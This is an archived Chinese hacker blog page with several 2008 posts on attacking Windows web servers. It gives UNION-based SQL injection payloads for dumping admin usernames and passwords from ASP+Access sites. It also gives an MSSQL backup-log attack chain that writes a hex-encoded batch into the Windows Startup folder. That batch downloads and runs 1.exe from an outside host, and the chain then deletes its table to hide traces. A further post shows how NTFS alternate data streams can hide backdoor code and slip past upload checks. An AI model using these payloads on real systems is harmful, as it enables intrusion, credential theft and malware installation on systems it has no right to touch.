不久前对学校的一个主机进行友情渗透,网站采用的是一套自行开发的ASP+Access程序。也没问是什么表结构,顺利找到一注入点。文章表取了5个字段,能够正常显示的字段索引值为(2、3、5),管理员表为Admin,猜中两个常用字段:ID、Password,采用逆推法:union select 1,1,* from admin时正常返回,得知admin表有3个字段,用户名字段不得而知。遗憾的是,这个用户名字段只能显示在4的位置(后来得知为adminuser),如表1所示:

1 2 3 4 5

1 1 ID Adminuser Password

表1

想来是心有不甘,我随随便便将2改为ID提交(union select 1,ID,* from admin),令人意想不到的是,系统报错:

Microsoft JET Database Engine 错误 ‘80040e14′

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/list_kx.asp,行11

我以为看错了眼,核实了一下列数,1+ID+*(3)= 5,怎么不对啊?计算机连数个数都错了?既然你说我错了,我给你凑!

提交union select ID,* from admin,错!union select 1,1,ID,* from admin,正常!我就纳闷了:1+1+ID+*(3)= 6,你居然还能正常返回!?6怎么就等于5了呢?还好学了点数据库理论:

DBMS 和RDBMS的重要区别在于:RDBMS提供丁一种面问集合的数据库语言。对于大多数的RDBMS,这种面向集合的数据库语言就是SQL。“向向集合”是指SQL同时处理—组数据,换句话说,每次查询的返回结果,是一个集合(结果集)。而一个集合中的元素是没有重复出现的,在两个集合的并集中,两个元素的公共元素只能出现一次。于是,union select 1,1,* from admin的结果集等同于union select 1,1,ID,* from admin,不同之处在于,*(所有列)变了:

*1 = {ID,Adminuser,Password},*2 = {Adminuser,Password}

请注意这样一个重要事实:我们改变了“*”(所有列)!

但是仅仅这样的改变对于我们的猜解仍是毫无意义的,用户名字段Adminuser还是在列索引为4的位置上,幸好我们还有一张王牌:Password字段!

提交union select 1,1,Password,* from admin!如愿以偿,通过改造*,成功的将用户名字段曝光。如表2所示。

1 2 3 4 5

1 1 Password ID Adminuser

表2

以上只是最简单的一种情况,以动力文章3.0版(Access)为例,printpage.asp有SQL注入漏洞,变量ArticleID未作过滤,sql=”select * from article where ArticleID=” & ArticleID & “”,查询的是ARTICLE表,28个字段,我们Union了ADMIN表,这个表有8个字段,表结构如下:

ID | Username | Password | Purview | LastLoginIP | LastLoginTime | LastLogoutTime | LoginTimes

观察出能够显示的字段索引值为(3、4、5、8、14),如果未猜得足够的字段名,假设我们只知道ID字段,使用*,加上对ADMIN表进行3次自联接,再加4位配凑字段,提交这样的查询语句: union select 1,1,1,1,* from ((admin as a inner join on admin as b on a.id = b.id) inner join on admin as c on a.id = c.id),结果很不幸,Password字段不能显示出来,如表3所示:

5 …… 8 …… 14

a.ID …… a.Purview …… b.Username

表3

就以往的方法,也就没辙了,还好刚刚打了把倚天剑,因为能对Admin表进行3次自联接,那怕我们只知道ID字段,且看我如何四两拔千斤:

union select 1,1,1,1, a.id,* from(……),世界是如此宁静……

union select 1,1,1,1, a.id, b.id,* from(……),偏移!

union select 1,1,1,1, a.id, b.id, c.id,* from(……),偏移!

如表4所示。

5 …… 8 …… 14

a.ID …… a.Purview …… b.Username

a.ID …… a.Password …… b.Username

a.ID …… a.Username …… a.LoginTimes

表4

成功获取用户名与密码!趁胜利还没有冲昏头脑的时候,还有些细节要与大家讨论:为什么第一次没有发生任何的偏移?什么时间、什么地点才会发生偏移?偏移量又是多少?

运用归纳法,当“*”含1个表时:

先回头看看第一个例子,我们把Password字段提到前面来,ID、Adminuser都跟着往后移了,也就是说:只要是在被提取字段(此例为:Password)之前的,统统往后挪;ID字段处于表中所有字段之首,也就不得动了;

当“*”含N个表时,活动余地更大了,同样一个字段,却变成了n个同胞兄弟,也就能被提出来n次,但到底能偏移多少次,那就要看缘分了,表5是第二个例子的偏移说明:

5->13

5->13 14->21

表5

5至13偏移了两次,而14至21位置只偏移了一次,所以8这个位置能够偏出Password和Username,而14只偏出了LoginTimes。

以上为掌握字段数为1的情况,如果猜出了N个字段,偏移量就能再翻N番!大意如此,将欲写个基于Union的注入机

DB权限FUCK SYSTEM权限

Posted in 搬家之前 on 6月 6th, 2008 by 飘(piao2010) – Be the first to comment

DB权限FUCK SYSTEM

alter database w37910com set RECOVERY FULL–   //打开开关

create table cmd (a image)– //新建一个名为CMD的表和一个名为A的字段

backup log w37910com to disk = ‘c:\cmd1′ with init–  //备份到C盘

insert into cmd(a) values (0×130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F

70656E2022474554222C22687474703A2F2F7777772E33373931302E636F6D2F312E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174

654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E766273200D0A65

63686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022312E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A74200D0A)–

(关键是在这里这里他妈的0D0A在16进制里面就是回车符的意思我肏可能有兄弟问130a0d0A是什么意思?这他妈的意思就是DOUBLE回车。后面的0D0A也是一个回车这他妈都是怕有垃圾字符,肏!那个代码也贴出来给兄弟们

echo Set P=createObject(”Microsoft.XMLHTTP”)>k.vbs

echo P.Open “GET”,”http://www.37910.com/1.exe”,0 >>k.vbs

echo P.Send():set G=createObject(”ADODB.Stream”)>>k.vbs

echo G.Mode=3:G.Type=1:G.Open() >>k.vbs

echo G.Write P.ResponseBody:G.SaveToFile “1.exe”,2 >>k.vbs

k.vbs

t

注意这段代码上面是两个回车 下面一个回车)

backup log w37910com to disk = ‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat’–//主角备份到这个目录

drop table cmd– //擦屁眼儿

都运行完了就可以等死了。

感谢猫公子同学的帮助,当然还有鸟人高春雷。

THE END!

NTFS数据流和web安全

Posted in 搬家之前 on 6月 6th, 2008 by 飘(piao2010) – Be the first to comment

|=———————————————————————————————–=|

|=————————–=[ NTFS数据流和web安全 ]=————————-=|

|=———————————————————————————————–=|

|=————————————-=[ By 80sec ]=————————————=|

|=—————-=[ xy7@80sec.com&jianxin@80sec.com ]=—————–=|

|=————————————————————————————————=|

NTFS流简单介绍:

NTFS因为它的稳定性 强大的功能 以及它所提供的安全性而成为一种更优越的文件系统,NTFS交换数据流(ADSs)是为了和Macintosh的HFS文件系统兼容而设计的,它使用资源 派生(resource forks)来维持与文件相关的信息,比如说图标及其他的东西。创建ADSs的语法相对比较简单和直接,比如说创建和文件myfile.txt相关联的 ADSs,只需简单的用冒号把文件名和ADSs名分开即可如:

D:\\ads>echo This is an ADS > myfile.txt:hidden

那么这种问题和脚本安全有什么关系呢?80sec的xy7提供了如下的测试代码:

/*—————————————————————————————————————–$fp = fopen (”$_GET[a].txt”, “a”);fwirte($fp,’80sec.com’);?>——————————————————————————————————————-*/

当提供一个80sec.php?a=x.php:的时候,在windows系统下会发现在当前目录创建了一个x.php文件,但是内容为空:)但是实际上这已经扰乱了程序的逻辑,生成php文件就是不允许的事情。那么到底怎么回事呢?用记事本执行

notepad x.php:.txt

就可以看到真实的文件路径。那么这个路径在其他文件操作函数是否可用呢?经过测试,像file_exists,include都可以使用这个路径,尽管这 个路径在文件目录和dir命令下不可见,并且测试发现,在普通文件名里不允许的<>以及”等字符,在这个路径里是允许存在的,而这些字符就可 能在文件操作时不注意而引发一些安全问题。

另外可以看到,这种文件可以很容易在windows系统里隐藏自己的某些代码,譬如将自己的后门代码隐藏在某个php文件里,然后可以在另外一个地方include进来执行,并且这种隐藏在脚本级别是无法查看的,必须借助相应的工具才能查看。

由于文件名的特殊性,可能可以bypass一些文件上传的安全检查,但是经过测试,我们发现并不能在apache和iis里对这种类型文件进行访问,所以 即使能上传成功也许也并不能直接访问作为代码直接执行:)但是不排除一些windows下的其他http server能正确处理好这种文件名,而不发生问题,这种问题应该是windows的问题,所以在像其他脚本如asp里也应该是一样存在的。

 

ASP各种上传漏洞原理

Posted in 安全相关, 搬家之前 on 5月 18th, 2008 by 飘(piao2010) – Be the first to comment

上传漏洞,这是一种比注入更有杀伤力的漏洞。它可以把ASP、JSP、CGI、PHP等格式的木马上传至网站目录内,所得到的权限最低也是WEBSHELL,如果碰到的是安全意识不强的管理员,还可以通过传送权限提升的工具给自已搞个管理员玩玩,对于上传漏洞的查找,仍是从源文件入手,目标有两个, read more »


无觅相关文章插件,快速提升流量